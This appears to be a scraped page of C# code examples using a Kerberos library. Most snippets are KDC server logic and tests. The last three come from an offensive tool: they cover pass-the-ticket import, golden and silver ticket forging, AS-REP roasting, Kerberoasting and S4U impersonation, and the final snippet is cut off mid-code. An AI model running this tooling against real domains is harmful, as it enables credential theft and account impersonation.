예제 #1
0
            public override Task <T> SendMessage <T>(string domain, ReadOnlyMemory <byte> req, CancellationToken cancellation = default)
            {
                var cached = QueryDomain(domain);

                Assert.IsNotNull(cached);

                var response = new KrbAsRep()
                {
                    CRealm = "sdf",
                    CName  = new KrbPrincipalName {
                        Name = new[] { "sdf" }, Type = PrincipalNameType.NT_ENTERPRISE
                    },
                    MessageType           = MessageType.KRB_AS_REP,
                    ProtocolVersionNumber = 5,
                    Ticket = new KrbTicket
                    {
                        Realm = "sdfsdf",
                        SName = new KrbPrincipalName {
                            Name = new[] { "sdf" }, Type = PrincipalNameType.NT_ENTERPRISE
                        },
                        EncryptedPart = new KrbEncryptedData
                        {
                            Cipher = new byte[] { 0x0, 0x0 }
                        },
                    },
                    EncPart = new KrbEncryptedData
                    {
                        Cipher = new byte[] { 0x0, 0x0 }
                    }
                }.EncodeApplication();

                return(Task.FromResult(Decode <T>(response)));
            }
예제 #2
0
        private static void AssertIsExpectedKrbtgt(KerberosKey clientKey, KerberosKey tgtKey, byte[] message)
        {
            var asRep = new KrbAsRep().DecodeAsApplication(message);

            Assert.IsNotNull(asRep);

            var encPart = asRep.EncPart.Decrypt(
                clientKey,
                KeyUsage.EncAsRepPart,
                b => KrbEncAsRepPart.DecodeApplication(b)
                );

            Assert.IsNotNull(encPart);

            Assert.AreEqual(KrbtgtSpn, encPart.SName.FullyQualifiedName, true);
            Assert.AreEqual(Realm, encPart.Realm);

            Assert.IsNotNull(encPart.Key);

            Assert.AreEqual(ExpectedFlags, encPart.Flags);

            var krbtgt = asRep.Ticket.EncryptedPart.Decrypt(
                tgtKey,
                KeyUsage.Ticket,
                d => new KrbEncTicketPart().DecodeAsApplication(d)
                );

            Assert.IsNotNull(krbtgt);

            Assert.AreEqual(UserUpn, krbtgt.CName.FullyQualifiedName, true);
            Assert.AreEqual(Realm, krbtgt.CRealm);
            Assert.AreEqual(ExpectedFlags, krbtgt.Flags);

            Assert.IsTrue(Enumerable.SequenceEqual(krbtgt.Key.KeyValue.ToArray(), encPart.Key.KeyValue.ToArray()));
        }
            protected override async Task <HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
            {
                var realmService = new FakeRealmService(Realm);
                var principal    = await realmService.Principals.Find(UserUpn);

                var principalKey = await principal.RetrieveLongTermCredential();

                var rst = new ServiceTicketRequest
                {
                    Principal           = principal,
                    EncryptedPartKey    = principalKey,
                    ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96)
                };

                var tgt = await KrbAsRep.GenerateTgt(rst, realmService);

                var encoded = tgt.EncodeApplication();

                var response = new Memory <byte>(new byte[encoded.Length + 4]);

                Endian.ConvertToBigEndian(encoded.Length, response.Slice(0, 4));
                encoded.CopyTo(response.Slice(4));

                var kdcMessage = new KdcProxyMessage
                {
                    KerbMessage = response
                };

                return(new HttpResponseMessage(HttpStatusCode.OK)
                {
                    Content = new ByteArrayContent(kdcMessage.Encode().ToArray())
                });
            }
        private void ProcessKdcProxy(KdcProxyMessage proxyMessage, string source)
        {
            var message = proxyMessage.UnwrapMessage();

            var kdcBody = new
            {
                AsReq    = TryDecode(message, m => KrbAsReq.DecodeApplication(m)),
                AsRep    = TryDecode(message, m => KrbAsRep.DecodeApplication(m)),
                TgsReq   = TryDecode(message, m => KrbTgsReq.DecodeApplication(m)),
                TgsRep   = TryDecode(message, m => KrbTgsRep.DecodeApplication(m)),
                KrbError = TryDecode(message, m => KrbError.DecodeApplication(m))
            };

            if (kdcBody.AsReq != null)
            {
                ExplodeObject(kdcBody.AsReq, $"AS-REQ ({source})");
            }
            else if (kdcBody.AsRep != null)
            {
                ExplodeObject(kdcBody.AsRep, $"AS-REP ({source})");
            }
            else if (kdcBody.TgsReq != null)
            {
                ExplodeObject(kdcBody.TgsReq, $"TGS-REQ ({source})");
            }
            else if (kdcBody.TgsRep != null)
            {
                ExplodeObject(kdcBody.TgsRep, $"TGS-REP ({source})");
            }
            else if (kdcBody.KrbError != null)
            {
                ExplodeObject(kdcBody.KrbError, $"Krb-Error ({source})");
            }
        }
예제 #5
0
        public void KdcAsReqHandler_Sync()
        {
            KrbAsRep asRep = RequestTgt(out _);

            Assert.IsNotNull(asRep);
            Assert.AreEqual(Realm, asRep.CRealm);
            Assert.AreEqual(Upn, asRep.CName.FullyQualifiedName);
        }
예제 #6
0
        private ReadOnlyMemory <byte> GenerateAsRep(KrbAsReq asReq, PreAuthenticationContext context)
        {
            // 1. detect if specific PAC contents are requested (claims)
            // 2. if requested generate PAC for user
            // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket
            // 4. look up krbtgt account
            // 5. encrypt against krbtgt
            // 6. done

            var rst = new ServiceTicketRequest
            {
                Principal        = context.Principal,
                EncryptedPartKey = context.EncryptedPartKey,
                ServicePrincipal = context.ServicePrincipal,
                Addresses        = asReq.Body.Addresses,
                Nonce            = asReq.Body.Nonce,
                IncludePac       = true,
                Flags            = TicketFlags.Initial | KrbKdcRep.DefaultFlags
            };

            if (!asReq.Body.KdcOptions.HasFlag(KdcOptions.Canonicalize))
            {
                rst.SamAccountName = asReq.Body.CName.FullyQualifiedName;
            }

            if (context.ClientAuthority != PaDataType.PA_NONE)
            {
                rst.Flags |= TicketFlags.PreAuthenticated;
            }

            if (rst.EncryptedPartKey == null)
            {
                rst.EncryptedPartKey = rst.Principal.RetrieveLongTermCredential();
            }

            rst.IncludePac = DetectPacRequirement(asReq) ?? false;

            var asRep = KrbAsRep.GenerateTgt(rst, RealmService);

            if (context.PaData != null)
            {
                asRep.PaData = context.PaData.ToArray();
            }

            return(asRep.EncodeApplication());
        }
예제 #7
0
        private static KrbAsRep RequestTgt(out KrbEncryptionKey sessionKey)
        {
            var cred = new KerberosPasswordCredential(Upn, "P@ssw0rd!")
            {
                // cheating by skipping the initial leg of requesting PA-type

                Salts = new[]
                {
                    new KeyValuePair <EncryptionType, string>(
                        EncryptionType.AES256_CTS_HMAC_SHA1_96,
                        "*****@*****.**"
                        )
                },
                Configuration = Krb5Config.Default()
            };

            var asReq = KrbAsReq.CreateAsReq(
                cred,
                AuthenticationOptions.AllAuthentication
                );

            var handler = new KdcAsReqMessageHandler(asReq.EncodeApplication(), new KdcServerOptions
            {
                DefaultRealm = Realm,
                IsDebug      = true,
                RealmLocator = realm => new FakeRealmService(realm)
            });

            handler.PreAuthHandlers[PaDataType.PA_ENC_TIMESTAMP] = service => new PaDataTimestampHandler(service);

            var results = handler.Execute();

            var decoded = KrbAsRep.DecodeApplication(results);

            var decrypted = cred.DecryptKdcRep(
                decoded,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d)
                );

            sessionKey = decrypted.Key;

            return(decoded);
        }
예제 #8
0
        private static void AssertIsExpectedKrbtgtWithOnPremisesSamAccountName(KerberosKey clientKey, KerberosKey tgtKey, byte[] message)
        {
            var asRep = new KrbAsRep().DecodeAsApplication(message);

            Assert.IsNotNull(asRep);

            // CName under reply part should NOT be original UPN
            Assert.AreNotEqual(UserUpn, asRep.CName.FullyQualifiedName);
            Assert.AreEqual(TestSamAccountName, asRep.CName.FullyQualifiedName);

            var encPart = asRep.EncPart.Decrypt(
                clientKey,
                KeyUsage.EncAsRepPart,
                b => KrbEncAsRepPart.DecodeApplication(b)
                );

            Assert.IsNotNull(encPart);

            Assert.AreEqual(KrbtgtSpn, encPart.SName.FullyQualifiedName, true, CultureInfo.InvariantCulture);
            Assert.AreEqual(Realm, encPart.Realm);

            Assert.IsNotNull(encPart.Key);

            Assert.AreEqual(ExpectedFlags, encPart.Flags);

            var krbtgt = asRep.Ticket.EncryptedPart.Decrypt(
                tgtKey,
                KeyUsage.Ticket,
                d => new KrbEncTicketPart().DecodeAsApplication(d)
                );

            Assert.IsNotNull(krbtgt);

            // CName under encrypted ticket part should be matched with OnPremisesSamAccountName
            Assert.IsTrue(krbtgt.CName.Type == PrincipalNameType.NT_PRINCIPAL);
            Assert.IsTrue(krbtgt.CName.Name.Length == 1);
            Assert.AreEqual(TestSamAccountName, krbtgt.CName.FullyQualifiedName);

            Assert.AreEqual(Realm, krbtgt.CRealm);
            Assert.AreEqual(ExpectedFlags, krbtgt.Flags);

            Assert.IsTrue(Enumerable.SequenceEqual(krbtgt.Key.KeyValue.ToArray(), encPart.Key.KeyValue.ToArray()));
        }
예제 #9
0
        public void KrbtgtDecode()
        {
            var krbtgtKey       = new KerberosKey(key: Key, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96);
            var longUserTermKey = new KerberosKey("P@ssw0rd!", salt: "CORP.IDENTITYINTERVENTION.COMtestuser");

            var krbAsRepBytes = ReadDataFile("messages\\as-rep").Skip(4).ToArray();

            var asRep = new KrbAsRep().DecodeAsApplication(krbAsRepBytes);

            var encPart = asRep.EncPart.Decrypt(longUserTermKey, KeyUsage.EncAsRepPart, b => KrbEncAsRepPart.DecodeApplication(b));

            Assert.IsNotNull(encPart);

            var encTicket = asRep.Ticket.EncryptedPart;

            var krbtgt = encTicket.Decrypt(krbtgtKey, KeyUsage.Ticket, bytes => new KrbEncTicketPart().DecodeAsApplication(bytes));

            Assert.IsNotNull(krbtgt);
        }
        private async Task <ReadOnlyMemory <byte> > GenerateAsRep(KrbAsReq asReq, IKerberosPrincipal principal)
        {
            // 1. detect if specific PAC contents are requested (claims)
            // 2. if requested generate PAC for user
            // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket
            // 4. look up krbtgt account
            // 5. encrypt against krbtgt
            // 6. done

            var requirements = new List <KrbPaData>();

            foreach (var handler in postProcessAuthHandlers)
            {
                await InvokePreAuthHandler(null, principal, requirements, handler.Value);
            }

            var rst = new ServiceTicketRequest
            {
                Principal  = principal,
                Addresses  = asReq.Body.Addresses,
                Nonce      = asReq.Body.Nonce,
                IncludePac = true,
                Flags      = TicketFlags.Initial | KrbKdcRep.DefaultFlags
            };

            rst.EncryptedPartKey = await principal.RetrieveLongTermCredential();

            var pacRequest = asReq.PaData.FirstOrDefault(pa => pa.Type == PaDataType.PA_PAC_REQUEST);

            if (pacRequest != null)
            {
                var paPacRequest = KrbPaPacRequest.Decode(pacRequest.Value);

                rst.IncludePac = paPacRequest.IncludePac;
            }

            var asRep = await KrbAsRep.GenerateTgt(rst, RealmService);

            asRep.PaData = requirements.ToArray();

            return(asRep.EncodeApplication());
        }
예제 #11
0
        private async Task <ReadOnlyMemory <byte> > GenerateAsRep(PreAuthenticationContext preauth, KrbAsReq asReq)
        {
            // 1. detect if specific PAC contents are requested (claims)
            // 2. if requested generate PAC for user
            // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket
            // 4. look up krbtgt account
            // 5. encrypt against krbtgt
            // 6. done

            var rst = new ServiceTicketRequest
            {
                Principal        = preauth.Principal,
                EncryptedPartKey = preauth.EncryptedPartKey,
                Addresses        = asReq.Body.Addresses,
                Nonce            = asReq.Body.Nonce,
                IncludePac       = true,
                Flags            = TicketFlags.Initial | KrbKdcRep.DefaultFlags
            };

            if (rst.EncryptedPartKey == null)
            {
                rst.EncryptedPartKey = await rst.Principal.RetrieveLongTermCredential();
            }

            var pacRequest = asReq.PaData.FirstOrDefault(pa => pa.Type == PaDataType.PA_PAC_REQUEST);

            if (pacRequest != null)
            {
                var paPacRequest = KrbPaPacRequest.Decode(pacRequest.Value);

                rst.IncludePac = paPacRequest.IncludePac;
            }

            var asRep = await KrbAsRep.GenerateTgt(rst, RealmService);

            if (preauth.PaData != null)
            {
                asRep.PaData = preauth.PaData.ToArray();
            }

            return(asRep.EncodeApplication());
        }
예제 #12
0
        private async Task <ReadOnlyMemory <byte> > GenerateAsRep(KrbKdcReq asReq, IKerberosPrincipal principal)
        {
            // 1. detect if specific PAC contents are requested (claims)
            // 2. if requested generate PAC for user
            // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket
            // 4. look up krbtgt account
            // 5. encrypt against krbtgt
            // 6. done

            var requirements = new List <KrbPaData>();

            foreach (var handler in postProcessAuthHandlers)
            {
                await InvokePreAuthHandler(null, principal, requirements, handler.Value);
            }

            var asRep = await KrbAsRep.GenerateTgt(principal, requirements, RealmService, asReq.Body);

            return(asRep.EncodeApplication());
        }
예제 #13
0
        public void GenerateTgt()
        {
            var realmService = new FakeRealmService(Realm);
            var principal    = realmService.Principals.Find(KrbPrincipalName.FromString(UserUpn));

            var principalKey = principal.RetrieveLongTermCredential();

            var rst = new ServiceTicketRequest
            {
                Flags               = TicketFlags.EncryptedPreAuthentication | TicketFlags.Renewable | TicketFlags.Forwardable,
                Principal           = principal,
                EncryptedPartKey    = principalKey,
                ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: etype, kvno: 123)
            };

            for (var i = 0; i < AuthenticationAttempts; i++)
            {
                var tgt = KrbAsRep.GenerateTgt(rst, realmService);

                Assert.IsNotNull(tgt);
            }
        }
예제 #14
0
        public void KdcTgsReqHandler_Sync()
        {
            KrbAsRep asRep = RequestTgt(out KrbEncryptionKey tgtKey);

            Assert.IsNotNull(asRep);

            var tgsReq = KrbTgsReq.CreateTgsReq(
                new RequestServiceTicket
            {
                Realm = Realm,
                ServicePrincipalName = "host/foo." + Realm
            },
                tgtKey,
                asRep,
                out KrbEncryptionKey sessionKey
                );

            var handler = new KdcTgsReqMessageHandler(tgsReq.EncodeApplication(), new ListenerOptions
            {
                DefaultRealm = Realm,
                IsDebug      = true,
                RealmLocator = realm => new FakeRealmService(realm)
            });

            var results = handler.Execute();

            var tgsRep = KrbTgsRep.DecodeApplication(results);

            Assert.IsNotNull(tgsRep);

            var encKdcRepPart = tgsRep.EncPart.Decrypt(
                sessionKey.AsKey(),
                KeyUsage.EncTgsRepPartSubSessionKey,
                d => KrbEncTgsRepPart.DecodeApplication(d)
                );

            Assert.IsNotNull(encKdcRepPart);
        }
예제 #15
0
        public void GeneratedTgtMatchesActiveDirectory()
        {
            var realmService = new FakeRealmService(Realm);
            var principal    = realmService.Principals.Find(KrbPrincipalName.FromString(UserUpn));

            var principalKey = principal.RetrieveLongTermCredential();

            var rst = new ServiceTicketRequest
            {
                Flags               = ExpectedFlags,
                Principal           = principal,
                EncryptedPartKey    = principalKey,
                ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96)
            };

            var tgt = KrbAsRep.GenerateTgt(rst, realmService);

            Assert.IsNotNull(tgt);

            var encoded = tgt.EncodeApplication();

            AssertIsExpectedKrbtgt(principalKey, rst.ServicePrincipalKey, encoded.ToArray());
        }
예제 #16
0
        public async Task GeneratedTgtMatchesWithOnPremisesSamAccountName()
        {
            var realmService = new FakeRealmService(Realm);
            var principal    = await realmService.Principals.Find(UserUpn);

            var principalKey = await principal.RetrieveLongTermCredential();

            var rst = new ServiceTicketRequest
            {
                SamAccountName      = TestSamAccountName,
                Flags               = ExpectedFlags,
                Principal           = principal,
                EncryptedPartKey    = principalKey,
                ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96)
            };

            var tgt = await KrbAsRep.GenerateTgt(rst, realmService);

            Assert.IsNotNull(tgt);

            var encoded = tgt.EncodeApplication();

            AssertIsExpectedKrbtgtWithOnPremisesSamAccountName(principalKey, rst.ServicePrincipalKey, encoded.ToArray());
        }
예제 #17
0
        public void GeneratedTgtMatchesWithOnPremisesSamAccountName(string realm, KerberosCompatibilityFlags compatibilityFlags, string expectedRealm)
        {
            var realmService = new FakeRealmService(realm, compatibilityFlags: compatibilityFlags);
            var principal    = realmService.Principals.Find(KrbPrincipalName.FromString(UserUpn));

            var principalKey = principal.RetrieveLongTermCredential();

            var rst = new ServiceTicketRequest
            {
                SamAccountName      = TestSamAccountName,
                Flags               = ExpectedFlags,
                Principal           = principal,
                EncryptedPartKey    = principalKey,
                ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96)
            };

            var tgt = KrbAsRep.GenerateTgt(rst, realmService);

            Assert.IsNotNull(tgt);

            var encoded = tgt.EncodeApplication();

            AssertIsExpectedKrbtgtWithOnPremisesSamAccountName(principalKey, rst.ServicePrincipalKey, encoded.ToArray(), expectedRealm);
        }
예제 #18
0
        private ReadOnlyMemory <byte> GenerateAsRep(KrbAsReq asReq, PreAuthenticationContext context)
        {
            // 1. detect if specific PAC contents are requested (claims)
            // 2. if requested generate PAC for user
            // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket
            // 4. look up krbtgt account
            // 5. encrypt against krbtgt
            // 6. done

            var rst = new ServiceTicketRequest
            {
                Principal          = context.Principal,
                EncryptedPartKey   = context.EncryptedPartKey,
                EncryptedPartEType = context.EncryptedPartEType,
                ServicePrincipal   = context.ServicePrincipal,
                Addresses          = asReq.Body.Addresses,
                Nonce                 = asReq.Body.Nonce,
                Now                   = this.RealmService.Now(),
                StartTime             = asReq.Body.From ?? DateTimeOffset.MinValue,
                EndTime               = asReq.Body.Till,
                MaximumTicketLifetime = this.RealmService.Settings.SessionLifetime,
                Flags                 = TicketFlags.Initial | KrbKdcRep.DefaultFlags,
                PreferredClientEType  = GetPreferredEType(
                    asReq.Body.EType,
                    this.RealmService.Configuration.Defaults.PermittedEncryptionTypes,
                    this.RealmService.Configuration.Defaults.AllowWeakCrypto
                    ),
                Compatibility = this.RealmService.Settings.Compatibility,
            };

            if (context.ClientAuthority != PaDataType.PA_NONE)
            {
                rst.Flags |= TicketFlags.PreAuthenticated;
            }

            // Canonicalize means the CName in the reply is allowed to be different from the CName in the request.
            // If this is not allowed, then we must use the CName from the request. Otherwise, we will set the CName
            // to what we have in our realm, i.e. user@realm.
            if (!asReq.Body.KdcOptions.HasFlag(KdcOptions.Canonicalize))
            {
                rst.SamAccountName = asReq.Body.CName.FullyQualifiedName;
            }

            if (rst.EncryptedPartKey == null)
            {
                rst.EncryptedPartKey = rst.Principal.RetrieveLongTermCredential();
            }

            if (context.IncludePac == null)
            {
                context.IncludePac = DetectPacRequirement(asReq);
            }

            rst.IncludePac = context.IncludePac ?? false;

            // this is set here instead of in GenerateServiceTicket because GST is used by unit tests to
            // generate tickets with weird lifetimes for scenario testing and we don't want to break that

            rst.ClampLifetime();

            var asRep = KrbAsRep.GenerateTgt(rst, this.RealmService);

            if (context.PaData != null)
            {
                asRep.PaData = context.PaData.ToArray();
            }

            return(asRep.EncodeApplication());
        }
예제 #19
0
        //FROM AS_REP
        public static byte[] toKirbi(KrbAsRep asRep, KrbEncAsRepPart asDecryptedRepPart, bool ptt = false)
        {
            //https://www.freesoft.org/CIE/RFC/1510/66.htm

            //KrbCredInfo::= SEQUENCE {
            //                key[0]                 EncryptionKey,
            //prealm[1]              Realm OPTIONAL,
            //pname[2]               PrincipalName OPTIONAL,
            //flags[3]               TicketFlags OPTIONAL,
            //authtime[4]            KerberosTime OPTIONAL,
            //starttime[5]           KerberosTime OPTIONAL,
            //endtime[6]             KerberosTime OPTIONAL
            //renew - till[7]          KerberosTime OPTIONAL,
            //srealm[8]              Realm OPTIONAL,
            //sname[9]               PrincipalName OPTIONAL,
            //caddr[10]              HostAddresses OPTIONAL
            //}

            var info = new KrbCredInfo()
            {
                Key       = asDecryptedRepPart.Key,
                Realm     = asDecryptedRepPart.Realm,
                PName     = asRep.CName,
                Flags     = asDecryptedRepPart.Flags,
                StartTime = asDecryptedRepPart.StartTime,
                EndTime   = asDecryptedRepPart.EndTime,
                RenewTill = asDecryptedRepPart.RenewTill,
                SRealm    = asDecryptedRepPart.Realm,
                SName     = asDecryptedRepPart.SName
            };



            //EncKrbCredPart   ::= [APPLICATION 29]   SEQUENCE {
            //ticket-info[0]         SEQUENCE OF KrbCredInfo,
            //nonce[1]               INTEGER OPTIONAL,
            //timestamp[2]           KerberosTime OPTIONAL,
            //usec[3]                INTEGER OPTIONAL,
            //s-address[4]           HostAddress OPTIONAL,
            //r-address[5]           HostAddress OPTIONAL
            //}

            KrbCredInfo[] infos = { info };

            var encCredPart = new KrbEncKrbCredPart()
            {
                TicketInfo = infos
            };

            //KRB-CRED         ::= [APPLICATION 22]   SEQUENCE {
            //pvno[0]                INTEGER,
            //msg - type[1]            INTEGER, --KRB_CRED
            //tickets[2]             SEQUENCE OF Ticket,
            //enc - part[3]            EncryptedData
            //}
            var myCred = new KrbCred();

            myCred.ProtocolVersionNumber = 5;
            myCred.MessageType           = MessageType.KRB_CRED;
            myCred.Tickets = new KrbTicket[] { asRep.Ticket };


            //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220
            //No Encryption for KRB-CRED
            var encryptedData = new KrbEncryptedData()
            {
                Cipher = encCredPart.EncodeApplication(),
            };

            myCred.EncryptedPart = encryptedData;

            byte[] kirbiBytes = myCred.EncodeApplication().ToArray();


            string kirbiString = Convert.ToBase64String(kirbiBytes);

            if (ptt)
            {
                LSA.ImportTicket(kirbiBytes, new LUID());
            }


            return(kirbiBytes);
        }
예제 #20
0
        public static async Task ResolveCmd(Options options)
        {
            var transport = new TcpKerberosTransport(logger);

            if (options.User != null)
            {
                username = options.User.ToLower();
            }



            if (options.Ticket != null)
            {
                PTT(options.Ticket);
            }

            if ((options.RC4 ?? options.AES128 ?? options.AES256) != null)
            {
                hash = options.RC4 ?? options.AES128 ?? options.AES256;
                if (options.AES128 != null)
                {
                    etype = EncryptionType.AES128_CTS_HMAC_SHA1_96;
                }
                else if (options.AES256 != null)
                {
                    etype = EncryptionType.AES256_CTS_HMAC_SHA1_96;
                }
            }

            if (options.Golden != options.Sliver)
            {
                if (options.Domain == null)
                {
                    Console.WriteLine("[x] Please provide the target domain name.");
                    Environment.Exit(0);
                }
                //Build Ticket
                if (options.Sliver)
                {
                    //var sliverTicket =
                    BuildTicket.BuildSliver(options.Host, hash, etype, username, options.Domain, options.Service, options.DomainSID,
                                            options.PTT, options.Verbose);
                }
                else
                {
                    //var goldenTicket =
                    BuildTicket.BuildGolden(hash, etype, username, options.Domain, options.UserID, options.DomainSID,
                                            options.PTT, options.Verbose);
                }
                Environment.Exit(0);
            }



            //Domain
            if (options.Domain != null)
            {
                try
                {
                    var context = new DirectoryContext(DirectoryContextType.Domain, options.Domain);
                    domainname = Domain.GetDomain(context).Name;
                }
                catch (Exception e) { Console.WriteLine(e.Message); Environment.Exit(0); }
            }
            else
            {
                try { domainname = Domain.GetCurrentDomain().Name; }
                catch (Exception e) { Console.WriteLine("[*] {0}", e.Message); Environment.Exit(0); }
            }



            if (options.DecryptTGT != null || options.DecryptTGS != null)
            {
                if (options.DecryptEtype == null)
                {
                    Console.WriteLine("[x] Please provide the encrytion type of the Hash (rc4/aes128/aes256)");
                    Console.WriteLine();
                    Environment.Exit(0);
                }
                switch (options.DecryptEtype.Trim().ToLower())
                {
                case "rc4":
                    dEtype = EncryptionType.RC4_HMAC_NT;
                    break;

                case "aes128":
                    dEtype = EncryptionType.AES128_CTS_HMAC_SHA1_96;
                    break;

                default:
                    dEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96;
                    break;
                }
                if (options.DecryptTGT != null)
                {
                    tgtHash = options.DecryptTGT;
                }
                else if (options.DecryptTGS != null)
                {
                    if (string.IsNullOrEmpty(options.SrvName))
                    {
                        Console.WriteLine("[x] Please provide the service account name for decrypting TGS.");
                        Environment.Exit(0);
                    }
                    tgsHash = options.DecryptTGS;
                }
            }


            if (!string.IsNullOrEmpty(username))
            {
                ////////////////////////////////////////////////////////////
                //ASREPRoasting
                if (options.Asreproast)
                {
                    bool asreproast = true;
                    if (options.Format.ToLower() == "john" || options.Format.ToLower() == "hashcat")
                    {
                        await Ask.askTGT(kdc, logger, transport, username, "whatever", domainname,
                                         outKirbi, options.Verbose, options.Format.ToLower(), asreproast, options.PTT, hash, etype, options.Outfile,
                                         tgtHash, dEtype);

                        Console.WriteLine("[+] Done! Now enjoy your hash.");
                    }
                    else
                    {
                        Console.WriteLine("[x] Unknown hash format, Please use hashcat or john");
                    }
                }
                else
                {
                    if (options.Pass == null && options.RC4 == null && options.AES128 == null && options.AES256 == null)
                    {
                        Console.WriteLine("[x] Please provide a valid password/hash");
                        Environment.Exit(1);
                    }
                    else
                    {
                        ////////////////////////////////////////////////////////////
                        //Ask TGT
                        if (options.AskTGT)
                        {
                            await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
                                             outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile,
                                             tgtHash, dEtype);
                        }
                        ////////////////////////////////////////////////////////////
                        //Ask TGS
                        else if (options.AskTGS)
                        {
                            if (options.Spn != null)
                            {
                                asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
                                                         outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile,
                                                         tgtHash, dEtype);

                                await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname,
                                                 options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, false, options.PTT, hash, etype,
                                                 options.Outfile, options.SrvName, tgsHash, dEtype);
                            }
                            else
                            {
                                Console.WriteLine("[x] Please provide an SPN for the service request.");
                            }
                        }
                        ////////////////////////////////////////////////////////////
                        //Kerberoasting
                        else if (options.Kerberoast)
                        {
                            bool kerberoast = true;
                            if (options.Spn != null)
                            {
                                asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
                                                         outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile,
                                                         tgtHash, dEtype);

                                await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname,
                                                 options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, kerberoast, options.PTT, hash, etype,
                                                 options.Outfile, options.SrvName, tgsHash, dEtype);

                                Console.WriteLine("[+] Done! Now enjoy your hash.");
                            }
                            else
                            {
                                Console.WriteLine("[x] Please provide an SPN for Kerberoasting");
                            }
                        }


                        ////////////////////////////////////////////////////////////
                        //S4U
                        else if (options.S4U)
                        {
                            if (options.Impersonate != null && options.Spn != null)
                            {
                                asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
                                                         outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile,
                                                         tgtHash, dEtype);

                                var s4u2self = await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname,
                                                                  options.Impersonate, outKirbi, options.Verbose, options.PTT, hash, etype);

                                await S4U.S4U2Proxy(kdc, logger, transport, asRep, s4u2self, username, options.Pass, domainname,
                                                    options.Impersonate, options.Spn, outKirbi, options.Verbose, options.PTT, hash, etype);

                                Console.WriteLine("[+] Done! Now enjoy your ticket for {0}.", options.Spn);
                            }
                            else
                            {
                                Console.WriteLine("[x] Please provide an SPN and a username to impersonate");
                            }
                        }



                        ////////////////////////////////////////////////////////////
                        //S4U2Self
                        else if (options.S4U2Self)
                        {
                            if (options.Impersonate != null)
                            {
                                string impersonate = options.Impersonate + "@" + domainname;
                                asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
                                                         outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile,
                                                         tgtHash, dEtype);

                                await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname,
                                                   impersonate, outKirbi, options.Verbose, options.PTT, hash, etype);

                                Console.WriteLine("[+] Done! Now enjoy your ticket.");
                            }
                            else
                            {
                                Console.WriteLine("[x] Please provide a username to impersonate");
                            }
                        }
                    }
                }
            }


            //var flags = await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi);
            ////IF the target service has Unconstrained Delegation
            //if (flags.HasFlag(TicketFlags.OkAsDelegate))
            //{
            //    Console.WriteLine("\n[*] Target Server is Trusted For Delegation, asking Forwarded TGT...");
            //    await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi);
            //}
        }
예제 #21
0
파일: S4U.cs 프로젝트: zhouzu/KerberosRun
        //S4U2Proxy
        //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
        //The KDC checks if the security principal name(SPN) for Service 2,
        //identified in the sname and srealm fields of the KRB_TGS_REQ message,
        //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
        //If it is, then the KDC replies with a service ticket for Service 2.
        //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
        public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
                                                                  ILoggerFactory logger,
                                                                  TcpKerberosTransport transport,
                                                                  KrbAsRep asRep,
                                                                  KrbTgsRep s4u2self,
                                                                  string username,
                                                                  string password,
                                                                  string domainName,
                                                                  string impersonateuser,
                                                                  string spn,
                                                                  bool outKirbi        = false,
                                                                  bool verbose         = false,
                                                                  bool ptt             = false,
                                                                  string hash          = null,
                                                                  EncryptionType etype = EncryptionType.RC4_HMAC_NT)
        {
            var now = DateTime.UtcNow;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = password != null ?
                                          new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d)) :
                                          new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;


            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
